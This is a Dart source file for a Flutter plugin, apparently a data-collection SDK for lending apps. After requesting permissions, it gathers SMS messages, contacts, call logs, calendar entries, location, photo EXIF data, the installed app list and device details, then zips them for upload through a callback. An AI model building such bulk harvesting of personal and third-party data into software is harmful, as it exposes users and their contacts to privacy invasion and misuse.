
import 'dart:io';

import 'package:flutter/cupertino.dart';
import 'package:giraffe/acts/appList_act.dart';
import 'package:giraffe/acts/calendar_act.dart';
import 'package:giraffe/acts/calllog_act.dart';
import 'package:giraffe/acts/contact_act.dart';
import 'package:giraffe/acts/device_act.dart';
import 'package:giraffe/acts/exif_act.dart';
import 'package:giraffe/acts/file_act.dart';
import 'package:giraffe/acts/location_act.dart';
import 'package:giraffe/acts/sms_act.dart';
import 'package:giraffe/utils/utils.dart';
import 'package:path_provider/path_provider.dart';
import 'package:permission_handler/permission_handler.dart';
import 'package:crypto/crypto.dart';

import 'giraffe_platform_interface.dart';

class Giraffe {

  late GiraffeCallback gCallback;
  List<FileAct> acts = [
    AppListAct(),
    CalendarAct(),
    CallLogAct(),
    ContactAct(),
    DeviceAct(),
    ExifAct(),
    LocationAct(),
    SmsAct()
  ];

  Future<String?> getPlatformVersion() {
    return GiraffePlatform.instance.getPlatformVersion();
  }

  start(GiraffeCallback callback, Map timeData) async {

    gCallback = callback;

    // Map messageReceive = {
    //   "action":"timeSDK",
    //   "id":"0.8936220892223257",
    //   "data":{
    //     "orderNo":"c675e9d5-a09a-486a-910a-4a3f21f689cb","userId":"1714205177776582656",
    //     "step":4,"isSubmit":false,
    //     "appList":false, "sms":false,
    //     "exif":false,
    //     "device":false,
    //     "contact":false,
    //     "calendar":false,
    //     "callLog":false,
    //     "location":false
    //   },"callback":"webViewToTime"
    // };

    // Map dataMap = messageReceive['data'];

    Map dataMap = timeData;

    int step = dataMap['step'];
    bool isSubmit = dataMap['isSubmit'];
    String orderNo = dataMap['orderNo'];

    List<String> getStep = _getStep(step);

    // 权限查询
    if ( !(await queryPermissions(isSubmit, step, gCallback.onPermissionHint)) ) {
      gCallback.onFail(isSubmit, step, orderNo, dataMap);
      return;
    }

    List<FileAct> fileActs = [];
    List<Future> onGetFutures = [];
    List<Future> onFileFutures = [];

    gCallback.onAfLog('timesdk_start');

    for (var element in getStep) {
      if (!dataMap[element]) {
        // actions.add(Action(name: element));
        FileAct? act = _getAct(element);
        if (act != null) {
          act.gCallBack = gCallback;
          fileActs.add(act);
          onGetFutures.add(act.onGetHandle());
        }
      }
    }

    gCallback.onAfLog('timesdk_onData');
    // 等待获取数据完成
    await Future.wait(onGetFutures);
    gCallback.onAfLog('timesdk_onData_success');

    // log
    for(int i= 0; i< fileActs.length; i++) {
      debugPrint('giraffe ${fileActs[i].actionName} ==> ${fileActs[i].aData}');
    }

    String cachePath = await _getCachePath();

    // 检查文件是否都获取完整
    bool isComplete = await _isComplete(fileActs);
    if (isComplete) {

      for (var element in fileActs) {
        onFileFutures.add(element.onFile(cachePath));
      }

      gCallback.onAfLog('timesdk_onFile');
      // 等待生成文件完成
      await Future.wait(onFileFutures);
      gCallback.onAfLog('timesdk_onFile_success');

      String filePath = await _zipAllPath(cachePath, fileActs);
      String fMd5 = (await md5.bind(File(filePath).openRead()).first).toString();

      gCallback.onSuccess(isSubmit, step, filePath, fMd5, orderNo, dataMap);

    } else {
      gCallback.onFail(isSubmit, step, orderNo, dataMap);

    }

  }

  List<String> _getStep(int step) {
    List<String> step1 = ["appList", "exif", "device", "location", "calendar"];
    List<String> step2 = ["sms", "contact", "location", "callLog"];
    List<String> stepAll = ["appList", "exif", "device", "location", "calendar", "sms", "contact", "callLog"];

    if (step == 1) return step1;
    if (step == 2) return step2;
    return stepAll;
  }

  FileAct? _getAct(String actionName) {
    for (var element in acts) {
      if (element.actionName == actionName) {
        return element;
      }
    }
    return null;
  }

  Future<String> _getCachePath() async {
    final appDir = await getApplicationSupportDirectory();
    final dir = Directory("${appDir.path}/info");
    if (dir.existsSync()) {
      dir.deleteSync(recursive: true);
      dir.createSync();
    } else {
      dir.createSync();
    }
    debugPrint('文件缓存位置: ${dir.path}');
    return dir.path;
  }

  Future<bool> _isComplete(List<FileAct> fileActs) async {
    bool isComplete = true;
    for (var element in fileActs) {
      if (element.aData == null || element.aData == "") {
        isComplete = false;
      }
    }
    return isComplete;
  }

  Future<bool> queryPermissions(bool isSubmit, int step, Function onHint) async {
    List<Permission> pers = [
      Permission.phone,
      Permission.location,
      // Permission.contacts,
      Permission.sms,
      // Permission.storage,
      Permission.calendar,
    ];
    final Map<Permission, PermissionStatus> rltRequest = await pers.request();

    if (isSubmit && (step == 4)) {
      rltRequest.remove(Permission.location);
      rltRequest.remove(Permission.locationAlways);
      rltRequest.remove(Permission.locationWhenInUse);
      rltRequest.remove(Permission.accessMediaLocation);
    }

    var unPermission = [];
    debugPrint("rltRequest: $rltRequest");

    // 针对通话记录与手机状态在plugin中状态重复
    unPermission = await GiraffeUtils.checkPermissionNotGranted(rltRequest);

    // 针对贷超会返回多个isSubmit true，增加step进行判断
    if (isSubmit && unPermission.isNotEmpty && step == 4) {
      onHint.call();
      return false;
    } else {
      return true;
    }

  }

  Future<String> _zipAllPath(String dirPath, List<FileAct> fileActs) async {
    List<File> targetFiles = [];

    for (var element in fileActs) {
      if (element.actionName == 'exif') {
        targetFiles.add(File("$dirPath/5.zip"));
      } else {
        targetFiles.add(File("$dirPath/${element.suffix}"));
      }
    }

    File allFile = await GiraffeUtils.zip(targetFiles, "${dirPath}/${DateTime.now().millisecondsSinceEpoch}.zip");
    return allFile.path;
  }
}

abstract class GiraffeCallback {

  onPermissionHint();

  onAfLog(String msg);

  onSuccess(bool isSubmit, int step, String filePath, String md5, String orderNo, Map dataMap);

  onFail(bool isSubmit, int step, String orderNo, Map dataMap);
}

